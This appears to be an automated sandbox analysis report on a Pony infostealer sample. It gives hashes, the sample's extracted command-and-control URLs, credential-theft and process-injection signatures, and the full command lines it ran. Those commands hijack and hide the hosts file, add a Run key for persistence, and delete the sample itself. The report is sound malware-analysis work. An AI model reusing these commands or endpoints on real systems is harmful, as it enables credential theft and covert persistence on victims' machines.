Analysis
-
max time kernel
143s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
29-07-2024 14:28
Static task
static1
Behavioral task
behavioral1
Sample
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe
Resource
win10v2004-20240709-en
General
-
Target
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe
-
Size
68KB
-
MD5
4c087f6ac5c3282fc8024b73393c6963
-
SHA1
a9ccd34d8b62a0dfd16fb8ff9cd2123d0b1f0c90
-
SHA256
e0edf5bf6fb06c5379c09edf9145a9b6cf5a67c17fb158cf5da6392646818e5b
-
SHA512
6275db074384a66219f2386eee43081648ed0395d030b10ff07e43758d5fec6adc5a1c17f9973d1edacd40721568b7ed1c8bc375dd90ee1a698eb4c09e90a538
-
SSDEEP
1536:2+dE3mCXqf2HJySPTkMKeibS2IrPKDX9wg9cqF+z:2M6E6bXKecRIrPKDX9z9cqFG
Malware Config
Extracted
pony
http://sexpic2me.info:2346/pony/porno.php
http://porno2me.info:2346/pony/porno.php
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Drops file in Drivers directory 3 IoCs
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.execmd.exedescription ioc process File created C:\Windows\system32\drivers\etc\test 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/2492-0-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/2492-3-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/2492-4-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/2492-8-0x0000000000400000-0x000000000041B000-memory.dmp upx behavioral2/memory/2492-13-0x0000000000400000-0x000000000041B000-memory.dmp upx -
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\240650031 = "cmd.exe /c copy C:\\Users\\Admin\\AppData\\Local\\Temp\\240645812FdOh C:\\Windows\\system32\\drivers\\etc\\hosts /Y && attrib +H C:\\Windows\\system32\\drivers\\etc\\hosts /f" reg.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exedescription pid process target process PID 1544 set thread context of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.execmd.execmd.exereg.exeat.execmd.exePING.EXEdescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
cmd.exePING.EXEpid process 4800 cmd.exe 2076 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exedescription pid process Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeImpersonatePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeTcbPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeBackupPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeRestorePrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.execmd.execmd.execmd.exedescription pid process target process PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 1544 wrote to memory of 2492 1544 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe PID 2492 wrote to memory of 1904 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 1904 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 1904 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 5024 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 5024 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 5024 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 5024 wrote to memory of 3380 5024 cmd.exe reg.exe PID 5024 wrote to memory of 3380 5024 cmd.exe reg.exe PID 5024 wrote to memory of 3380 5024 cmd.exe reg.exe PID 1904 wrote to memory of 2028 1904 cmd.exe at.exe PID 1904 wrote to memory of 2028 1904 cmd.exe at.exe PID 1904 wrote to memory of 2028 1904 cmd.exe at.exe PID 2492 wrote to memory of 4800 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 4800 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 2492 wrote to memory of 4800 2492 4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe cmd.exe PID 4800 wrote to memory of 2076 4800 cmd.exe PING.EXE PID 4800 wrote to memory of 2076 4800 cmd.exe PING.EXE PID 4800 wrote to memory of 2076 4800 cmd.exe PING.EXE
Processes
-
C:\Users\Admin\AppData\Local\Temp\4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Users\Admin\AppData\Local\Temp\4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exeC:\Users\Admin\AppData\Local\Temp\4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe2⤵
- Drops file in Drivers directory
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2492 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 21:53:00 cmd.exe /c copy %TEMP%\240645812FdOh %WINDIR%\system32\drivers\etc\hosts /Y3⤵
- Drops file in Drivers directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\SysWOW64\at.exeat 21:53:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240645812FdOh C:\Windows\system32\drivers\etc\hosts /Y4⤵
- System Location Discovery: System Language Discovery
PID:2028 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240650031 /t REG_SZ /d "cmd.exe /c copy %TEMP%\240645812FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240650031 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240645812FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f4⤵
- Adds Run key to start application
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:3380 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "C:\Users\Admin\AppData\Local\Temp\4c087f6ac5c3282fc8024b73393c6963_JaffaCakes118.exe"3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\SysWOW64\PING.EXEping -n 10 127.0.0.14⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2076
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3